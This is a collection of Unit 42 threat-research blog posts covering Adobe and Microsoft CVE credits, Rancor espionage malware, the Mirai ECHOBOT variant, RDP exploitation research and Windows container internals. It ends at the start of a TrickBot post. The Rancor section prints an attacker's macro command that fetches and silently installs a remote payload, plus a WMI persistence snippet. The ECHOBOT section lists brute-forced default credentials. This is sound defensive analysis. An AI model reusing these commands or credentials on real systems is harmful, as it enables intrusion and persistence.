The Adobe vulnerabilities discovered included two “critical” and four “important” rated vulnerabilities, while the severity of the Microsoft vulnerabilities discovered were all rated “important”.

The Unit 42 researchers credited are Bo Qu, Zhibin Zhang, Qi Deng, Ken Hsu, Lexuan Sun, Hao Cai, Yue Guan, Haozhe Zhang, Hui Gao, Gal De Leon, Bar Lahav, Nadav Markus and Yaron Samuel. This is the first Microsoft and Adobe vulnerability discoveries credited to Ken Hsu, Lexuan Sun, Hao Cai, Yue Guan, Haozhe Zhang, Nadav Markus and Yaron Samuel.

The recently discovered exploits are listed in Table 1 below:

Vendor CVE Vulnerability Category Impact Maximum Severity Rating Researcher(s)
Adobe CVE-2019-16456 Out-of-Bounds Read Information Disclosure Important Bo Qu
Adobe CVE-2019-16457 Out-of-Bounds Read Information Disclosure Important Zhibin Zhang
Adobe CVE-2019-16458 Out-of-Bounds Read Information Disclosure Important Qi Deng, Ken Hsu
Adobe CVE-2019-16459 Use After Free Arbitrary Code Execution Critical Lexuan Sun, Hao Cai
Adobe CVE-2019-16464 Use After Free Arbitrary Code Execution Critical Yue Guan, Haozhe Zhan
Adobe CVE-2019-16465 Out-of-Bounds Read Information Disclosure Important Hui Gao, Zhibin Zhang, Yue Guan
Microsoft CVE-2019-1374 Windows Error Reporting Information Disclosure Vulnerability Information Disclosure Important Gal De Leon
Microsoft CVE-2019-1406 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
Microsoft CVE-2019-1417 Windows Data Sharing Service Elevation of Privilege Vulnerability Elevation of Privilege Important Nadav Markus and Yaron Samuel
Microsoft CVE-2019-1319 Windows Error Reporting Elevation of Privilege Vulnerability Elevation of Privilege Important Gal De Leon
Microsoft CVE-2019-1342 Windows Error Reporting Manager Elevation of Privilege Vulnerability Elevation of Privilege Important Gal De Leon
Microsoft CVE-2019-1241 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
Microsoft CVE-2019-1250 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon

Table 1. Critical and important vulnerabilities discovered in Adobe and Microsoft products

Conclusion

Palo Alto Networks customers using deploying our Next-Generation Firewalls with our best practices and a Threat Prevention Subscription are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps’ multi-layered exploit prevention capabilities. Threat prevention capabilities such as vulnerability protection with IPS and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android, and other ecosystems, with more than 200 critical vulnerabilities discovered and regular talks at security conferences such as BlueHat and BlackHat.

By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users and compromise enterprise, government, and service provider networks.

 

Rancor: Cyber Espionage Group Uses New Custom Malware to Attack Southeast Asia

Posted on by Jen Miller-Osborn

Executive Summary

In late June 2018, Unit 42 revealed a previously unknown cyber espionage group we dubbed Rancor, which conducted targeted attacks in Southeast Asia throughout 2017 and 2018. In recent attacks, the group has persistently targeted at least one government organization in Cambodia from December 2018 through January 2019. While researching these attacks, we discovered an undocumented, custom malware family - which we’ve named Dudell. In addition, we discovered the group using Derusbi, which is a malware family believed to be unique to a small subset of Chinese cyber espionage groups.

Attack Details

Between early December 2018 and the end of January 2019, Rancor conducted at least two rounds of attacks intending to install Derusbi or KHRat malware on victim systems. January 2019 sent via 149.28.156[.]61 to deliver either Derusbi or KHRat samples with either cswksfwq.kfesv[.]xyz or connect.bafunpda[.]xyz as C2.

Malware Overview

DUDELL

SHA256 0d61d9baab9927bb484f3e60384fdb6a3709ca74bc6175ab16b220a68f2b349e
File Type Microsoft Excel 97 - 2003 Document
File Name Equipment Purchase List 2018-2020(Final).xls

Table 1. DUDELL properties

The DUDELL sample is a weaponized Microsoft Excel document that contains a malicious macro that runs on the victim’s machine. It shares the same malicious behavior reported by Checkpoint in Rancor: The Year of The Phish SHA-1 c829f5f9ff89210c888c1559bb085ec6e65232de. In Check Point’s blog, the sample is from December 2018 while this sample is from April 2018. It has the following metadata:

Codepage 1252
Author MS
Last author MS
Application name Microsoft Excel
Creation time Mon Oct 14 23:33:28 1996
Last Save time Wed Apr 11 02:18:59 2018
Security type 0

Table 2. DUDELL file metadata

The macro in this document gets executed when the user views the document and clicks Enable Content, at which point the macro locates and executes the data located under the Company field in the document’s properties. The data located under the Company field is:

cmd /c set /p=Set v=CreateObject(^"Wscript.Shell^"):v.Run ^"msiexec /q /i http://199.247.6[.]253/ud^",false,0 <nul > C:\Windows\System32\spool\drivers\color\tmp.vbs

Table 3. Company field data

The C2 server 199.247.6[.]253 listed above in Table 5 is known to be used by the Rancor group. The script is downloading a second stage payload via the Microsoft tool msiexec. Unfortunately at the time of discovery, the hosted file is unavailable. Our systems were able to record the hash of file tmp.vbs, but the contents of the file are no longer available. See Table 5 below for hash values. Pivoting off the filename and directory, we discovered a similar VBS script used by the Rancor actors that might give us some clues on what the contents of tmp.vbs would resemble. File office.vbs (SHA256: 4b0b319b58c2c0980390e24379a2e2a0a1e1a91d17a9d3e26be6f4a39a7afad2) was discovered in directory c:\Windows\System32\spool\drivers\color. The contents of that file are:

Set v=CreateObject("Wscript.Shell"):v.Run "msiexec /q /i http://199.247.6[.]253/OFFICE",false,0

Table 4. Contents of office.vbs

SHA256 b958e481c90939962081b9fb85451a2fb28f705d5b5060f5d9d5aebfb390f832

Table 5. Hashes for tmp.vbs

If the file tmp.vbs does in fact contain similar content as that of office.vbs, then it could be another method for downloading payloads onto the target.

DDKONG Plugin

SHA256 0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707
Compile Date and Time 2017-02-17 08:33:45 AM
File Type PE32 executable (DLL) Intel 80386, for MS Windows
File Name History.nls

Table 6. DDKONG Plugin properties

The malware in question is configured with the following single export entry:

  • DllInstall

The DllInstall export function is responsible for the core behavior of the malware, as just loading it does nothing. Once this export is called, it checks for a hidden window with a caption of Hello Google! and a class name of Google see Figure 1 below. This check is performed to ensure that only one instance of the malware is running at a time.

Figure 1. DDKONG Plugin hidden window properties

 

The hidden window created by the malware filters on any user input (e.g. keyboard or mouse activity). This could be an attempt to evade sandbox analysis as mouse and keyboard movement is typically not performed. The malware then proceeds to beacon to a configured remote server of cswksfwq.kfesv[.]xyz on TCP port 8080. Upon successful connection, the malware transmits victim information such as: hostname, IP address, Language Pack along with other operating system information. The data transmitted are XOR encoded. The malware supports the following capabilities:

  • Terminate specific process
  • Enumerate processes
  • Upload file
  • Download file
  • Delete file
  • List folder contents
  • Enumerate storage volumes
  • Execute a command
  • Reverse shell
  • Take a screenshot

KHRAT

SHA256 aaebf987b8d80d71313c3c0f2c16d60874ffecbdda3bb6b44d6cba6d38031609
Compile Date and Time 2018-05-02 05:22:23 PM
File Type PE32 executable (DLL) Intel 80386, for MS Windows
File Name 8081.dll

Table 7. KHRAT properties

The malware in question is configured with the following single export entry:

  • Rmcmd

When the DLL is initially loaded, it dynamically resolves and imports additional modules (DLLs’) needed. Once loaded and the export entry of Rmcmd is called, it creates a Windows mutex named gkdflbmdfk. This ensures that only one copy of the malware is running at a time. It then begins to beacon to a configured domain of connect.bafunpda[.]xyz on TCP port 8081. The malware collects and transmits data from the host, such as hostname and is XOR encoded with the first byte of the network traffic being the key. This malware supports the following capabilities:

  • Reverse Shell

The malware behavior and code share similarities with an older KHRAT sample from May 2018. Sample (SHA256: bc1c3e754be9f2175b718aba62174a550cdc3d98ab9c36671a58073140381659) has the same export entry name and is also a reverse shell. The newer sample appears to be a re-write for optimization purposes with the underlying behavior remaining the same, reverse shell.

Derusbi

SHA256 83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d
Compile Date and Time 2012-09-14 09:20:12 AM
File Type PE32 executable (DLL) Intel 80386, for MS Windows
File Name 32.dll

Table 8. Derusbi properties

Derusbi is a backdoor Trojan believed to be used among a small group of attackers, which includes the Rancor group. This particular sample is a loader that loads an encrypted payload for its functionality. This DLL requires the loading executable to include a 32-byte key on the command line to be able to decrypt the embedded payload, which unfortunately we do not have. Even though we don’t have the decryption key or loader, we have uncovered some interesting artifacts.

  • If the module that loads the sample is named myapp.exe the module will exit
  • Once loaded, it sleeps for six seconds
  • Looks for a Windows pipe named \\.\pipe\_kernel32.dll.ntdll.dll.user32.dll
  • Looks for a Windows device named \Device\acpi_010221
  • Creates the following registry key
    HKEY_CLASSES_ROOT\CDO.SS_NNTPOnPostEarlySink.2
    Two DWORD values named IDX and Ver.

    • Saves encrypted data at these keys
  • The encryption routine to decrypt the embedded payload is MS_ENH_RSA_AES_PROV

Rancor VBScript

In July 2019, we discovered an interesting VBScript named Chrome.vbs (SHA256: 0C3D4DFA566F3064A8A408D3E1097C454662860BCACFB6675D2B72739CE449C2) associated with the Rancor group. This particular VBScript payload beacons to domain bafunpda[.]xyz, which is also used by the KHRAT Trojan listed above in Table 2. This VBScript is obfuscated and contains packed data that is used to infect a target with multiple chained persistent artifacts. The following illustrates the behavior when the VBScript is executed:

Figure 2. VBScript execution flow

Figure 1 provides a visual overview of when the VBScript is executed on a host. The script performs the following actions:

  1. Copies regsvr32.exe from %windir%\syswow64 to %windir%\spoolsw.exe.
  2. Creates a text file named vdfjgklffsdfmv.txt in the host’s %TMP% folder. This file is not a text file, but a Windows Management Object File MOF.
  3. Executes Windows mofcomp.exe passing in the MOF file created in step 2.
  4. Adds data to two registry keys: classes and media. Data is saved in the default keys.
  5. Reads the blob of data from the registry key classes created in step 4 and saves the data to file %windir%\pla.dat.

The MOF file created by the VBScript is used as a persistence mechanism via Windows Management Instrumentation (WMI) Event Subscriptions. MOF files are compiled scripts that describe Common Information Model (CIM) classes, which are compiled into the WMI repository. The technique is described by MITRE ATT&CK IDT1084. This particular MOF file creates a timer event that is triggered every five seconds. Snippet of the MOF file is illustrated in Figure 3 below:

instance of CommandLineEventConsumer as $Cons

{

Name = "SCM Event Log Filter";

RunInteractively=false;

CommandLineTemplate="c:\\windows\\spoolsw.exe /s /n /i c:\\windows\\pla.dat";

};

instance of __EventFilter as $Filt

{

Name = "SCM Event Log Filter";

EventNamespace = "Root\\Cimv2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

Figure 3. Snippet of MOF file

Figure 3 shows the main functionality of the MOF file. It has a unique name of SCM Event Log Filter and runs spoolsw.exe every 5 seconds, with the /s /n /i parameters passing in file pla.dat. If we recall earlier from the VBScript, spoolsw.exe is the hosts Windows regsvr32.exe. Regsvr32.exe is a Windows tool that registers a module (DLL). The parameters passed instruct regsvr32 not to display any message boxes (/s), do not call DllRegisterServer or DllUnregisterServer (/n) and calls DllInstall (/i). File pla.dat therefore must be a DLL.

The registry values created by the VBScript are as follows:

  1. HKEY_CURRENT_USER\Software\Classes
    • Contains x86 code for a DLL. It is missing the first byte of 0x4 which is added by the VBScript when file pla.dat is created.

File Properties for embedded registry data at HKEY_CURRENT_USER\Software\Classes

SHA256 DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E
Compile Date and Time 2018-04-24 10:51:14 PM
File Type PE32 executable (DLL) Intel 80386, for MS Windows
Export Table DllInstall

Table 9. Reg Classes embedded data properties

The DLL embedded in this registry key is a simple loader that loads the code from the registry HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media
    • Contains shellcode and x86 code for a DLL. Data saved in registry is encoded with a XOR key of 0x9C.
SHA256 CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A
Compile Date and Time 2018-01-10 09:16:42 PM
File Type PE32 executable (DLL) Intel 80386, for MS Windows

Table 10. Decoded media DLL data properties

The DLL located in the Media registry key is a variant of the KHRAT Trojan. It beacons to domain connect.bafunpda[.]xyz and attempts to connect to TCP port 4433. This is the same domain used by the KHRAT Trojan listed above in Table 2 and shares the same behavior.

Conclusion

Rancor, a cyber espionage group active since at least 2017, continues to conduct targeted attacks in Southeast Asia and has been found using an undocumented, custom malware family - which we’ve dubbed Dudell - to download a second stage payload once its malicious macro is executed. Additionally, Rancor is also using the Derusbi malware family to load a secondary payload once it infiltrates a target.

Palo Alto Networks customers are protected from this threat. Our threat prevention platform detects these malware families, with Wildfire while and simultaneously updating the ‘malware’ category within the PAN-DB URL filtering solution for compromised domains it has identified. AutoFocus customers can further investigate this activity with the following tags:

Indicators of Compromise

SHA256:

0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707
AAEBF987B8D80D71313C3C0F2C16D60874FFECBDDA3BB6B44D6CBA6D38031609
0D61D9BAAB9927BB484F3E60384FDB6A3709CA74BC6175AB16B220A68F2B349E
DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E
CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A
BC1C3E754BE9F2175B718ABA62174A550CDC3D98AB9C36671A58073140381659
83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d

C2s

cswksfwq.kfesv[.]xyz

Connect.bafunpda[.]xyz

199.247.6[.]253

 

Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities

Posted on by Ruchna Nigam

Executive Summary

Since the discovery of the Mirai variant using the binary name ECHOBOT in May 2019, it has resurfaced from time to time, using new infrastructure, and more remarkably, adding to the list of vulnerabilities it scans for, as a means to increase its attack surface with each evolution.

Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploited in the wild until now, ranging from extremely old CVEs from as long back as 2003, to recent vulnerabilities made public as recently as early December 2019. Based on this seemingly odd choice, one could risk a guess that the attackers could potentially be aiming for the sweet spots of IoT vulnerabilities, targeting either legacy devices that are still in use but probably too old to update due to compatibility issues and newer vulnerabilities that are too recent for owners to have patched.

The newly incorporated exploits target a range of devices from the usually expected routers, firewalls, IP cameras and server management utilities, to more rarely seen targets like a PLC, an online payment system and even a yacht control web application.

This version first surfaced on October 28th, 2019 for a couple of hours, after which it was taken down. It then resurfaced on the 3rd of December, switching payload IPs and finally adding 2 more exploits that weren’t in the samples from October. While details on this version were recently published, this post shares CVE numbers (where available) for the vulnerabilities targeted, as well as IOCs for this version I have been tracking since October.

The following section also explains the discrepancy in the exploit count used here in comparison to other publications.

Exploits

This latest variant contains a total of 71 unique exploits, 13 of these vulnerabilities haven’t been previously seen exploited in the wild prior to this version. Exploits targeting the same vulnerability in different devices (potentially sharing firmware) or targeting different ports have been grouped together.

The exploits that are new to this version, and any previously seen Mirai variant for that matter, are listed in Table 1 below:

Vulnerability Affected Devices Port Scanned Exploit Format
CVE-2019-17270 Yachtcontrol Webservers 8081
CVE-2019-18396 / CVE-2017-14127 Technicolor TD5130v2 and Technicolor TD5336 routers. 161
AVCON6 Remote Code Execution AVCON6 video conferencing systems 8080
CVE-2019-16072 Enigma Network Management Systems v65.0.0 80
CVE-2019-14931 Mitsubishi Electric smartRTU & INEA ME-RTU 80
Sar2HTML Remote Code Execution Sar2HTML plotting tool for Linux servers, v3.2.1 80
CVE-2017-16602 NetGain Systems Enterprise Manager 8081
CVE-2017-6316 Citrix NetScaler SD-WAN 9.1.2.26.561201 devices 443
CVE-2013-5912 Thomson Reuters Velocity Analytics Vhayu Analytic Servers 6.94 build 2995 80
ACTi ASOC2200 Remote Code Execution ACTi ASOC 2200 Web Configurators versions 2.6 and prior. 80
3Com Office Connect Remote Code Execution 3Com OfficeConnect routers 80
CVE-2006-4000 Barracuda Spam Firewall versions 3.3.x 80
CCBill Remote Code Execution CCBill Online Payment Systems 80

Table 1 Previously unexploited vulnerabilities in latest ECHOBOT version

Other exploits included in this version are listed in the Appendix.

Other Technical Details

Like its predecessors, this version of ECHOBOT also makes use of the key 0xDFDAACFD for XOR encryption of its strings.

The new default credentials brute forced by this variant are listed below :

  • root/trendimsa1.0
  • admin/fritzfonbox
  • r00t/boza
  • root/welc0me
  • admin/welc0me
  • root/bagabu
  • welc0me/
  • unknown/
  • UNKNOWN/

Infrastructure

This version first surfaced on 28th October 2019 for a couple of hours, after which it was taken down. It then resurfaced on the 3rd of December, switching payload IPs and finally adding 2 more exploits that weren’t in the samples from October. Figure 1 shows the dropper script that was live at the IP 145.249.106[.]241 until the 12th of December.

Figure 1. Dropper script

Prior to this, samples of this version were briefly hosted at :

  • 45.89.106[.]108 on 2019-10-28
  • 80.82.67[.]184 on 2019-12-03
  • 80.82.67[.]209 on 2019-12-04
  • 145.249.106[.]241 on and after 2019-11-12

It makes use of the same domains for Command and Control as its predecessors.

IOCs for all activity mentioned in this post can be found at the Unit42 github.

Conclusion

The Mirai variant ECHOBOT differentiates itself from concurrent variants by the sheer volume of vulnerabilities targeted, as opposed to other variants that stick to certain vulnerabilities that have proven effective over time.

The exploits unique to this new version target vulnerabilities ranging from extremely old CVEs from as long back as 2003, to ones made public as recently as early December 2019. This choice of exploits could possibly imply its authors are targeting either legacy devices that are still in use but probably too old to update due to compatibility issues and newer vulnerabilities that are too recent for owners to have patched. We are unable to speculate at this point in time on the overall effectiveness of their approach - be it the use of a large number of exploits, or the choice of the exploits themselves.

Palo Alto Networks customers are protected by:

  • WildFire which detects all related samples with malicious verdicts
  • Threat Prevention and PANDB that block all exploits and IPs/URLs used by this variant.

AutoFocus customers can track these activities using individual exploit tags:

The malware family can be tracked in AutoFocus using the tag Mirai

Appendix

Other exploits embedded in this ECHOBOT version are listed below:

Vulnerability Function name in unstripped binaries Port(s) Scanned
CVE-2019-15107 webmin_init 10000
CVE-2014-8361 realtekscan,

dlinkscan

 52869,

49152
FritzBox Command Injection fritzboxscan 80
CVE-2019-12989, CVE-2019-12991 citrix_init 80
Xfinity Gateway Remote Code Execution xfinityscan 80
Beward N100 Remote Code Execution bewardscan 80
FLIR Thermal Camera Command Injection thermalscan 80
EyeLock nano NXT Remote Code Execution nxtscan 11000
IrisAccess ICU Cross-Site Scripting irisscan 80
EnGenius Remote Code Execution cloudscan 9000
Sapido RB-1732 Remote Command Execution sapidoscan 80
CVE-2016-0752 railsscan 3000
CVE-2014-3914 rocketscan 8888
CVE-2015-4051 beckhoffscan 5120
CVE-2015-2208 phpmoadmin 80
CVE-2018-7297 homematicscan 2001
SpreeCommerce Remote Code Execution spreecommercescan 80
Redmine Remote Code Execution redminescan 80
CVE-2003-0050 quicktimescan 1220
CVE-2011-3587 plonescan 80
CVE-2005-2773 openviewscan 2447
Op5Monitor Remote Code Execution op5v7scan 443
CVE-2012-0262 op5scan 443
CVE-2009-2288 nagiosscan 12489
MitelAWC Remote Code Execution mitelscan 80
Gitorious Remote Code Execution gitoriousscan 9418
CVE-2012-4869 freepbxscan 5060
CVE-2011-5010 ctekscan 52869
DogfoodCRM_Remote Code Execution crmscan 8000
CVE-2005-2848 barracudascan 80
CVE-2006-2237 awstatsmigratescan 80
CVE-2005-0116 awstatsconfigdirscan 80
CVE-2008-3922 awstatstotalsscan 80
CVE-2007-3010 telscan 80
ASUSModemRCEs (CVE-2013-5948, CVE-2018-15887) asuswrtscan,

asusscan

 80
CVE-2009-0545 zeroshellscan 80
CVE-2013-5758 yealinkscan 52869
CVE-2016-10760 seowonintechscan 80
CVE-2009-5157 linksysscan 80
CVE-2009-2765 ddwrtscan 80
CVE-2010-5330 airosscan 80
CVE-2009-5156 asmaxscan 80
GoAheadRCE wificamscan 80
CVE-2017-5174 geutebruckscan 80
CVE-2018-6961 vmwarescan 80
CVE-2018-11510 admscan 8001
OpenDreamBox_RCE dreamboxscan/

dreambox8889scan,

dreambox8880scan,

dreambox10000scan

 10000,

8889,

8880,

10000
WePresentCmdInjection wepresentscan 80
CVE-2018-17173 supersignscan 9080
CVE-2019-2725 oraclescan 1234
NetgearReadyNAS_RCE nuuoscan,

netgearscan

 50000,

80
CVE-2018-20841 hootooscan 6666
DellKACE_SysMgmtApp_RCE dellscan 80
CVE-2018-7841 umotionscan 80
CVE-2016-6255 veralite_init 49451
CVE-2019-3929 Blackboxscan 80
CVE-2019-12780 belkin_init 49152

Unit 42 Presents New Research at BlueHat Seattle on Three New Windows RDP Vulnerability Exploit Methods

Posted on by John Harrison

Overview

The Unit 42 threat intelligence team recently shared its latest findings at Microsoft’s invitation-only security conference, BlueHat Seattle 2019, on three new Windows Remote Desktop Protocol (RDP) vulnerability exploitation methods for Pool Feng Shui techniques. Pool Feng Shui is an advanced vulnerability exploitation technique that manipulates the kernel pool layout and state finely to facilitate arbitrary code execution.

The report, titled “Pool Fengshui in Windows RDP Vulnerability Exploitation,” is authored by Tao Yan and Jin Chen, shared three new Windows RDP vulnerability exploitation methods for Pool Feng Shui techniques. Yan not only showed how Bitmap Cache PDU, Refresh Rect PDU and RDPDR Client Name Request PDU can be used for Pool Feng Shui in the Windows RDP vulnerability exploitation, but also shared ideas about how to find Pool Feng Shui friendly protocol data unit (PDUs) from massive RDP documents and Windows RDP modules. These new techniques were demonstrated live to exploit the wormable BlueKeep Remote Desktop Services (RDS) Remote Code Execution Vulnerability (CVE-2019-0708) and can also be used in other Windows RDP vulnerabilities.

BlueHat Seattle 2019

Presented in a closed-door session by Yan, attendees in the research community dubbed this talk the “Best Talk of BlueHat.” Sharing this research arms defenders with knowledge about how Windows RDP vulnerabilities can be exploited and enables them to develop capable prevention techniques. The researchers showed that mitigating the exploitation techniques can not only decrease the possibility of BlueKeep to be exploited but also decrease the possibility of other Windows RDP vulnerabilities to be exploited successfully. This is part of Palo Alto Networks’ continued effort to disarm the advanced adversary.

Figure 1. Tao Yan Demos the Windows RDP Vulnerability BlueKeep Exploitation

Conclusion

Weaponized exploits for these vulnerabilities are prevented by Palo Alto Networks’ Traps multi-layered exploit prevention capabilities. Threat prevention capabilities, such as vulnerability protection with IPS and WildFire, provide our customers with comprehensive protection and automatic updates against previously unknown threats.

 

What I Learned from Reverse Engineering Windows Containers

Posted on by Daniel Prizmant

Executive Summary

In recent years containers have become increasingly popular. A few years ago Microsoft realized that and teamed up with Docker to offer a container solution for Microsoft Windows.

Judging by the number of severe vulnerabilities found in containers for Linux in recent years, it is likely that some vulnerabilities exist in containers for Windows as well. Windows, unlike Linux, is not open-source and because the container feature, in particular, is barely documented it is much more difficult to find said vulnerabilities. Currently, there is little information about the internal implementation of the feature in Windows. Reverse engineering the kernel was needed to better understand Microsoft’s implementation of containers.

I’ve found that job objects are used in a similar way control groups (cgroups) are used in Linux, and that server silo objects were used as a replacement for namespaces support in the kernel. Furthermore, I found out that Windows filters system calls in kernel space, thus preventing a container process from escalating its privileges and escaping the container. This post demonstrates we can learn a lot from reverse engineering Windows containers. Further research could help us better understand the threat model of Windows containers.

Some History

Until Microsoft teamed up with Docker, Windows was lacking some of the core features that were needed in order for containers to work properly, mainly namespaces, control groups (cgroups) and layer capabilities. After two and a half years of development and another year of beta testing in Microsoft’s Windows Insider Program, in September 2016, Microsoft announced that containers would be supported in the upcoming Windows Server 2016.

Namespaces were originally a unique feature for Linux providing a way to control what resources with which a process can interact. They are quite different from access controls because the process doesn’t know the resources exist. A simple example of this is the process list: there could be 100 processes running on a server, yet a process running within a namespace might see only 10 of those. Another example might be for a process to think it’s reading from the root directory when in fact it has been virtualized. In 2006, the Linux kernel was added the support for grouping processes together under a common set of resource controls in a feature called cgroups. It’s the combination of cgroups and namespaces that became the foundation of modern-day containers.

Luckily for Microsoft, Windows already had a control groups-like feature called job object. A job object allows groups of processes to be managed as a single unit. Examples include enforcing limits such as working set size and process priority or terminating all processes associated with a job. Microsoft was still missing a namespace-like feature, and so a kernel object called a silo was born.

The Result

Microsoft introduced two types of container architectures, shown in Figure 1:

  • Deploying an application in a fully isolated, Hyper-V virtual machine, which is supported on both Windows 10 and Windows Server.
  • Deploying an application in a lightweight silo container, which is currently supported only in Windows Server.

The first design is using a Virtual Machine (VM): the container(s) will have a separate kernel. This solution has two sub-solutions:

  • Linux containers in a Moby VM: This is a full-sized VM. In this model, Docker runs on the Windows desktop but calls into Docker Daemon on the Linux VM.
  • Hyper-V Isolation: Microsoft calls this “Linux containers on Windows” (LCOW). In this technique, the Linux VM got only the very basic internals that is absolutely necessary to run containers. In contrast to the Moby VM approach, each Linux container has its own kernel and its own VM sandbox.

In this post, I focus only on the second, silo container solution, which uses the host’s Windows kernel.

Figure 1. Server silo container vs HyperV

Implementation Details

Virtual File System and Registry

Without getting too deep into the implementation of Windows’ file system, every file access in Windows goes through a symbolic link. When a user calls CreateFile (which is an API function to get a handle to a file) for C:\secret.txt the C: part is just a symbolic link to something like \Device\HarddiskVolumeXXX\. When a process from inside a container tries to access C:\secret.txt the path is then converted to something like \Device\VhdHardDisk{123651}\ instead of the above. The exact same thing happens for registry keys. This mechanism is covered later in the article.

Figure 2. WinObj showing C: is just a symbolic link

Jobs

Jobs, or job objects are not a new feature and in fact were a part of Windows at least since Windows 2000. According to Microsoft, a job object allows groups of processes to be managed as a unit. Job objects are namable, securable, sharable objects that control attributes of the processes associated with them. Operations performed on a job object affect all processes associated with the job object. In our case, the main job of the job object is to limit resources for the container. Job objects are used for far more features than just containers, and that’s why they were introduced long before containers were born. Some of the main restrictions you can apply to a group of processes using job objects are:

  • Maximum number of active processes: This limits the number of concurrently existing processes in the job and can be used to limit the number of processes a container can have. New processes that exceed the limit are blocked from creation.
  • Across job CPU limitation: this parameter is used to limit the CPU time of all the processes in the job combined. Once a process exceeds the limitation all the processes in the job will be terminated.
  • Per process CPU limitation: this parameter is used to limit the CPU time for each process individually. Once a process exceeds the limit it will be terminated.
  • Process and job virtual memory limit: this parameter is used to limit the amount of virtual memory that can be allocated by either a single process or the entire job.
  • Network bandwidth rate control: this parameter sets the maximum outgoing bandwidth for the entire job, after the maximum outgoing bandwidth has been reached, throttling takes effect.
  • Disk I/O bandwidth rate control: this parameter is exactly the same as the network bandwidth just for disk I/O.

Figure 3. ProcessExplorer showing a job of inside-a-container process

Server Silos

Server silos are the main feature that allows Windows to have isolation good enough for a full container solution. For a better understanding of what server silos are, I first need to explain what a root directory object is. Without getting too much into the mechanism, enough to say that most of the named objects in Windows (files, registry, symbolic links, pipes, etc.) are under a root namespace called the root directory object. When a silo is created, another root directory object is created for that silo. From that point on, there is a different value for any named object (for example, the symbolic link “C:”).

Figure 4. WinObj showing a root directory object of a silo

Reverse Engineering

The information presented so far is described in official Microsoft documentation or other sources available to the public. However, some questions relating to the implementation of Windows containers are left unanswered by these sources. I decided to reverse engineer these parts to better understand how Windows containers are built. Some of the main questions I approached in my research were:

  • How does the kernel distinguish between containerized and normal processes?
  • How does the kernel provide access to files and registry within the container and not the host?
  • How does the kernel prevent the container from access to certain system calls such as loading kernel drivers?

I briefly answered some of those questions in the last section. In this part, I will get into more details and show some actual code from the kernel.

How Does the Kernel Distinguish Container Processes?

There are plenty of functions in the Windows kernel used to distinguish between processes and threads inside a container from those which are outside. Some of them are PsIsCurrentThreadInServerSilo, PsGetCurrentSilo and more. An interesting thing to observe is where those functions are called from; these places in the code may be where the kernel distinguishes between containerized processes and regular processes.

Figure 5. Some of the kernel functions that check if the process is in a container

How Does the Kernel Recognize Container Access to Files?

None of the checks related to identifying a containerized process happen in user mode. The kernel is responsible for distinguishing between operations of regular processes and container processes, including access to files.

First I have to briefly explain about system calls in Windows. Unlike Linux, applications don’t use system calls directly but rather call API functions that are delivered through internal DLLs. Some of those DLLs are not documented. Those functions call other API functions and which may themselves call others until eventually, the system call occurs.

One might think that somewhere along the road from the API function call to the kernel the container\silo check is handled. It isn’t. To be clear: if a process host.exe executes CreateFile(“C:\secret.txt”) from the host, and a process container.exe executes CreateFile(“C:\secret.txt”) from the container - both of them will get to NtCreateFile in the kernel with exactly the same parameters.

So, What Does Happen in the Kernel When Accessing a File?

Once we arrive to kernel land, our first stop is NtCreateFile . This function doesn’t do much by itself and simply calls IopCreateFile. In IopCreateFile the kernel starts handling silos by first checking if the current thread is attached to a silo. This check is done by calling the PsGetCurrentSilo function. This routine returns the current silo for the calling thread, specifically a pointer to the ESILO object or null, if the thread is not attached to a process in a silo.

Figure 6. A snippet from IopCreateFile showing the kernel handling silos

The pointer to the ESILO object is then forwarded to ObOpenObjectByNameEx which forwards it to ObpLookupObjectName. The most relevant part of ObpLookupObjectName is the part where it chooses the ObpRootDirectoryObject.

Figure 7. The RootDirectoryObject is chosen

With the last part we can get a pretty good idea of how things work. At the beginning of the post I explained how symbolic links are parsed from the root directory object. Now we have the last piece of the puzzle by understanding how the root directory object is being selected for each I/O request.

How Does the Kernel Prevent Container Access to Certain System Calls?

There are plenty of dangerous system calls and more than one kernel function to determine if the calling process or thread is inside a silo. For the specific case of loading drivers inside containers, I have found out that Windows does have a sufficient check in the kernel, which is relevant for many other system calls as well. In this case, IopLoadDriverImage which is the function NtLoadDriver calls to actually load a kernel driver image, simply returns a value indicating whether the calling process is inside a silo.

Figure 8. IopLoadDriverImage returning if the thread is in a silo

Some Security Concerns

When I started researching containers for Windows I was very curious about how Microsoft chose to handle access to the file system and dangerous system calls. The user inside the container is usually an administrator and has no limitations on the system calls he can execute. I was wondering what prevents a malicious container from loading a kernel driver, for example. Since the check is implemented per system call, it would be interesting to look into each specific implementation and audit for any possible mishandlings that could lead to security issues.

Summary

The information presented in this post is just the tip of the iceberg. I hope this post will encourage others to learn and write about containers for Windows.

 

TrickBot Campaign Uses Fake Payroll Emails to Conduct Phishing Attacks

Posted on by Bryan Lee

Executive Summary

By using a combination of Cortex XDR and the AutoFocus contextual threat intelligence service, Unit 42 discovered a recent Trickbot campaign leveraging legitimate cloud service providers to obfuscate malicious delivery behavior.

